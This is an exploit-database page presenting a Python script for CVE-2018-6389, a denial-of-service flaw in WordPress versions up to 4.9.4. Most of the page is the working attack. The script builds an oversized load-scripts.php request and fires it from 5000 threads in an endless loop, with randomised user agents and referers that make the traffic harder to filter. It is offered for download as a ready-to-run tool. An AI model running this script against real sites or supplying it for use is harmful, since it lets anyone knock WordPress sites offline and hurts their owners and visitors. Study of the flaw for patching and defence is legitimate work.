Exploit databaseDownload repository ZIP
GH-5da9b72bc9ebc779c7ace40bb2b43b1f
javierolmedo/wordpress-cve-2018-6389
Sources for CVE-2018-6389
33 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
javierolmedo/wordpress-cve-2018-6389Revision ef6dfb6de2ee
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
wordpress-cve-2018-6389.py
Suggested starting filePython · 8,101 bytes#!/usr/bin/python3
import os
import sys
import time
import random
import argparse
import requests
import threading
#CLASS
class Colors:
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
BGRED = '\033[41m'
WHITE = '\033[37m'
#Class from https://raw.githubusercontent.com/ankayip41/random-user-agent/master/ua.py
class UserAgent:
agent = {}
def random(self):
self.get_platform()
self.get_os()
self.get_browser()
if self.agent['browser'] == 'Chrome':
webkit = str(random.randint(500, 599))
version = "%s.0%s.%s"%(str(random.randint(0, 24)), str(random.randint(0, 1500)), str(random.randint(0, 999)))
return "Mozilla/5.0 (%s) AppleWebKit/%s.0 (KHTML, like Gecko) Chrome/%s Safari/%s"%(self.agent['os'], webkit, version, webkit)
elif self.agent['browser'] == 'Firefox':
year = str(random.randint(2000, 2015))
month = str(random.randint(1, 12)).zfill(2)
day = str(random.randint(1, 28)).zfill(2)
gecko = "%s%s%s"%(year, month, day)
version = "%s.0"%(str(random.randint(1, 15)))
return "Mozilla/5.0 (%s; rv:%s) Gecko/%s Firefox/%s"%(self.agent['os'], version, gecko, version)
elif self.agent['browser'] == 'IE':
version = "%s.0"%(str(random.randint(1, 10)))
engine = "%s.0"%(str(random.randint(1, 5)))
option = random.choice([True, False])
if option:
token = "%s;"%(random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']))
else:
token = ''
return "Mozilla/5.0 (compatible; MSIE %s; %s; %sTrident/%s)"%(version, self.agent['os'], token, engine)
def get_os(self):
if self.agent['platform'] == 'Machintosh':
self.agent['os'] = random.choice(['68K', 'PPC'])
elif self.agent['platform'] == 'Windows':
self.agent['os'] = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE'])
elif self.agent['platform'] == 'X11':
self.agent['os'] = random.choice(['Linux i686', 'Linux x86_64'])
def get_browser(self):
self.agent['browser'] = random.choice(['Chrome', 'Firefox', 'IE'])
def get_platform(self):
self.agent['platform'] = random.choice(['Machintosh', 'Windows', 'X11'])
class AttackWordPress(threading.Thread):
def run(self):
try:
while True:
sendAttack()
except Exception as e:
print(Colors.BOLD + Colors.RED + "Error in thread: " + str(e) + Colors.ENDC)
pass
#GLOBAL VARS
URL = ""
HOST = ""
PAYLOAD = "/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9"
THREADS = 5000
COUNTER = 0
#FUNCTIONS
def banner():
os.system("clear")
print(Colors.BLUE + Colors.BOLD +
"""
_______ _______ ______ __ __ ______ _______ _______ _______ _______ _______
| | | _ | | |/ | __ \ | | | |_ _| ___| __|
| | | ---| <| __/ | | | | | | ___|__ |
|___|___|___|___|______|__|\__|___| |_______|__|____| |___| |_______|_______|
==================[ Javier Olmedo - [email protected] ]==================
https://hackpuntes.com
https://twitter.com/jjavierolmedo
[01/03/2018]
WordPress DOS <= v4.9.4
Exploit CVE-2018-6389
""" + Colors.ENDC)
def usage():
print("""
EXAMPLE:
-u [REQUIRED] Specify the URL of the target to attack
python wp-exploit-CVE-2018-6389.py -u <URL>
-t [OPTIONAL] Number of threads (Default: 5000)
python wp-exploit-CVE-2018-6389.py -u <URL> -t <NTHREADS>
""")
def t():
current_time = time.localtime()
ctime = time.strftime('%H:%M:%S', current_time)
return "["+ ctime + "]"
def randomString(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str += chr(a)
return(out_str)
def sendAttack():
global URL
global COUNTER
ua = UserAgent()
headers = {
'User-Agent': ua.random(),
'Cache-Control': 'no-cache',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Referer': 'http://www.google.com/?q=' + randomString(random.randint(5,10)),
'Keep-Alive': str(random.randint(110,120)),
'Connection': 'keep-alive'
}
try:
COUNTER += 1
sys.stdout.write("\r" + Colors.BOLD + "Send " + Colors.RED + str(COUNTER) + Colors.WHITE + " packets!!")
sys.stdout.flush()
r = requests.get(URL, headers=headers)
except Exception as e:
pass
#MAIN
if __name__ == "__main__":
banner()
usage()
parser = argparse.ArgumentParser()
parser._action_groups.pop()
required = parser.add_argument_group('required arguments')
optional = parser.add_argument_group('optional arguments')
required.add_argument("-u", help="specify the URL of the target to attack")
optional.add_argument("-t", help="specify number of threads to be used (Default: 5000)", type=int)
optional.add_argument("-v", help="increase output verbosity", action="store_true")
args = parser.parse_args()
if(args.t):
THREADS = args.t
if(args.u):
HOST = args.u
URL = HOST + PAYLOAD
print(Colors.BOLD + t() + Colors.GREEN + "[+] " + "Launching attack: " + Colors.YELLOW + HOST + Colors.ENDC)
for i in range(THREADS):
t = AttackWordPress()
t.start()
else:
print(Colors.BOLD + Colors.RED + "[!] " + "Arguments not found!!" + Colors.ENDC)
print("")
sys.exit(1)